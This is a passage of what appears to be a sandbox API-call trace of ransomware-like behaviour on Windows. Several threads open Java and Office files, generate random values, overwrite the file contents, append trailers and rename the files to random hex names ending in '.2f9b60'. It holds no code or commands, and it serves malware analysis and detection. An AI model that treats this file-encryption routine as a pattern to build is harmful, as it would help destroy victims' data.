(lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar")) returned 0x20 [0210.311] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar", dwFileAttributes=0x20) returned 1 [0210.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c8 [0210.634] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x24f8f800 | out: lpFileSize=0x24f8f800*=2487) returned 1 [0210.634] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x9b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.634] ReadFile (in: hFile=0x6c8, lpBuffer=0x24f8f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24f8f7c8, lpOverlapped=0x0 | out: lpBuffer=0x24f8f780*, lpNumberOfBytesRead=0x24f8f7c8*=0x4, lpOverlapped=0x0) returned 1 [0210.656] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0210.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0210.657] NtQuerySystemTime (in: CurrentTime=0x24f8f6c0 | out: CurrentTime=0x24f8f6c0*=132462178155214000) returned 0x0 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x252388f7 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x186d8331 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x255518b1 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x6894ae5c [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x61a2b987 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x6f0d584 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x31291c [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x2df34f81 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x771ad1ba [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x7789d65c [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x33244f0d [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x67e94b5c [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x6b3ad99e [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x44e468ab [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x75fd9699 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x240cbb72 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x484cc64e [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x7ff411e9 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x6e777677 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x2194fb87 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x6afa0a3d [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x28909bb5 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x37d75c5d [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x8e5b2d [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x8582cd0 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x3ced1b33 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x44e168d2 [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x2e820a3b [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x3e2263ca [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x142735ab [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x1be717ab [0210.657] RtlRandomEx (in: Seed=0x24f8f6b0 | out: Seed=0x24f8f6b0) returned 0x76a3cd5c [0210.665] ReadFile (in: hFile=0x6c8, lpBuffer=0x4285daa0, nNumberOfBytesToRead=0x9b7, lpNumberOfBytesRead=0x24f8f6b0, lpOverlapped=0x0 | out: lpBuffer=0x4285daa0*, lpNumberOfBytesRead=0x24f8f6b0*=0x9b7, lpOverlapped=0x0) returned 1 [0210.665] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.665] WriteFile (in: hFile=0x6c8, lpBuffer=0x428652c0*, nNumberOfBytesToWrite=0x9b7, lpNumberOfBytesWritten=0x24f8f6b4, lpOverlapped=0x0 | out: lpBuffer=0x428652c0*, lpNumberOfBytesWritten=0x24f8f6b4*=0x9b7, lpOverlapped=0x0) returned 1 [0215.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431393d0 [0215.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431393a0 [0215.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431393a0) returned 1 [0215.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428652c0) returned 1 [0215.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4285daa0) returned 1 [0215.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce241a0) returned 1 [0215.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0215.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8200 [0215.363] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.363] WriteFile (in: hFile=0x6c8, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x24f8f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x24f8f7d0*=0x11a, lpOverlapped=0x0) returned 1 [0217.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0217.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9940) returned 1 [0217.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a9940 [0217.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0217.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9bb0 [0217.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9bb0) returned 1 [0217.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b8587f0 [0217.696] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="02") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="26") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="a1") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="c9") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="99") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="b9") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="07") returned 2 [0217.696] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="7f") returned 2 [0217.697] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.697] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="30") returned 2 [0217.697] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="2c") returned 2 [0217.697] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="70") returned 2 [0217.697] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="10") returned 2 [0217.697] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.697] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="27") returned 2 [0217.697] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="13") returned 2 [0217.697] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="8e") returned 2 [0217.697] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="a3") returned 2 [0217.697] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="88") returned 2 [0217.697] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.697] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="04") returned 2 [0217.697] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="92") returned 2 [0217.697] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="60") returned 2 [0217.697] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="51") returned 2 [0217.697] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="38") returned 2 [0217.697] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="b0") returned 2 [0217.697] sprintf (in: _Dest=0x1b858824, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.697] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="43") returned 2 [0217.697] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="14") returned 2 [0217.697] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="24") returned 2 [0217.697] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="3a") returned 2 [0217.698] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="48") returned 2 [0217.698] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="33") returned 2 [0217.698] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="14") returned 2 [0217.698] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.709] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="12") returned 2 [0217.709] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="3e") returned 2 [0217.709] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="59") returned 2 [0217.709] sprintf (in: _Dest=0x1b85883c, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.709] sprintf (in: _Dest=0x1b85883e, _Format="%c%c" | out: _Dest="e5") returned 2 [0217.709] RtlInitAnsiString (in: DestinationString=0x24f8f848, SourceString="0226a1c999b9077f5b302c70100c27138ea388b10492605138b00c4314243a483314b8123e59a5e5" | out: DestinationString="0226a1c999b9077f5b302c70100c27138ea388b10492605138b00c4314243a483314b8123e59a5e5") [0217.709] RtlAnsiStringToUnicodeString (in: DestinationString=0x24f8f818, SourceString="0226a1c999b9077f5b302c70100c27138ea388b10492605138b00c4314243a483314b8123e59a5e5", AllocateDestinationString=1 | out: DestinationString="0226a1c999b9077f5b302c70100c27138ea388b10492605138b00c4314243a483314b8123e59a5e5") returned 0x0 [0217.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43150350 [0217.710] wcscat (in: _Dest=0x4318b940, _Source="0226a1c999b9077f5b30" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\0226a1c999b9077f5b30") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\0226a1c999b9077f5b30" [0217.710] wcscat (in: _Dest=0x4318b940, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\0226a1c999b9077f5b30.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\0226a1c999b9077f5b30.2f9b60" [0217.710] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\0226a1c999b9077f5b30.2f9b60", NtPathName=0x24f8f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\0226a1c999b9077f5b30.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278bf0 [0240.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278bf0) returned 1 [0240.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ba110) returned 1 [0240.780] NtQueryInformationFile (in: FileHandle=0x6c8, IoStatusBlock=0x24f8f858, FileInformation=0x24f8f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24f8f858, FileInformation=0x24f8f868) returned 0x0 [0240.780] NtSetInformationFile (FileHandle=0x6c8, IoStatusBlock=0x24f8f858, FileInformation=0x24f8f868, Length=0x28, FileInformationClass=0x4) Thread: id = 3545 os_tid = 0x1ee0 [0210.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf")) returned 0x20 [0210.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF", dwFileAttributes=0x20) returned 1 [0210.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1194 [0210.712] GetFileSizeEx (in: hFile=0x1194, lpFileSize=0x249bfe40 | out: lpFileSize=0x249bfe40*=2862) returned 1 [0210.712] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0xb2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.712] ReadFile (in: hFile=0x1194, lpBuffer=0x249bfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249bfe08, lpOverlapped=0x0 | out: lpBuffer=0x249bfdc0*, lpNumberOfBytesRead=0x249bfe08*=0x4, lpOverlapped=0x0) returned 1 [0210.809] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b60 [0210.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9790 [0210.811] NtQuerySystemTime (in: CurrentTime=0x249bfd00 | out: CurrentTime=0x249bfd00*=132462178156774000) returned 0x0 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x5dc476f9 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x537aaa50 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x219c1db8 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x369ac2dd [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x6692855c [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x5170cd6f [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x8fb0650 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x4fb91a3d [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x480c63f2 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x1cb7bb6a [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x6fb80b73 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x1f6042eb [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x2305e8cf [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x77801b28 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x17f269c6 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x48a6f733 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x7574404d [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0xf0aadb7 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x7b14d24b [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x5889366c [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x31931c84 [0210.811] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x46eb8438 [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x23097b84 [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x367b7103 [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x4f21ec33 [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0xa5873ac [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x377d45b [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x4b3112cb [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x36f1403c [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x4c997547 [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x7e679204 [0210.812] RtlRandomEx (in: Seed=0x249bfcf0 | out: Seed=0x249bfcf0) returned 0x544850ce [0210.835] ReadFile (in: hFile=0x1194, lpBuffer=0x42b1b240, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x249bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x42b1b240*, lpNumberOfBytesRead=0x249bfcf0*=0xb2e, lpOverlapped=0x0) returned 1 [0210.836] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.836] WriteFile (in: hFile=0x1194, lpBuffer=0x42b26670*, nNumberOfBytesToWrite=0xb2e, lpNumberOfBytesWritten=0x249bfcf4, lpOverlapped=0x0 | out: lpBuffer=0x42b26670*, lpNumberOfBytesWritten=0x249bfcf4*=0xb2e, lpOverlapped=0x0) returned 1 [0215.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2e0 [0215.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c310 [0215.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c310) returned 1 [0215.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b26670) returned 1 [0215.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b1b240) returned 1 [0215.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0215.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61b00) returned 1 [0215.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313c310 [0215.387] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.387] WriteFile (in: hFile=0x1194, lpBuffer=0x423aa770*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x249bfe10, lpOverlapped=0x0 | out: lpBuffer=0x423aa770*, lpNumberOfBytesWritten=0x249bfe10*=0x10a, lpOverlapped=0x0) returned 1 [0217.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0217.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9640) returned 1 [0217.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0217.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c50 [0217.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c50) returned 1 [0217.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.754] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="65") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="1a") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="76") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="45") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="12") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="3c") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="54") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="6a") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="81") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="e6") returned 2 [0217.754] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="da") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="1d") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="4c") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="e0") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="1d") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="47") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="0d") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="01") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="29") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="b0") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="32") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="61") returned 2 [0217.755] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="01") returned 2 [0217.755] RtlInitAnsiString (in: DestinationString=0x249bfe88, SourceString="651a7645123c546a81e6dab71d4ce01d470d0129b0326101" | out: DestinationString="651a7645123c546a81e6dab71d4ce01d470d0129b0326101") [0217.755] RtlAnsiStringToUnicodeString (in: DestinationString=0x249bfe58, SourceString="651a7645123c546a81e6dab71d4ce01d470d0129b0326101", AllocateDestinationString=1 | out: DestinationString="651a7645123c546a81e6dab71d4ce01d470d0129b0326101") returned 0x0 [0217.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43105ec0 [0217.756] wcscat (in: _Dest=0x4314fdd0, _Source="651a7645123c" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\651a7645123c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\651a7645123c" [0217.756] wcscat (in: _Dest=0x4314fdd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\651a7645123c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\651a7645123c.2f9b60" [0217.756] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\651a7645123c.2f9b60", NtPathName=0x249bfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\651a7645123c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe120 Thread: id = 3546 os_tid = 0x1f18 [0210.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf")) returned 0x20 [0210.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF", dwFileAttributes=0x20) returned 1 [0210.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft 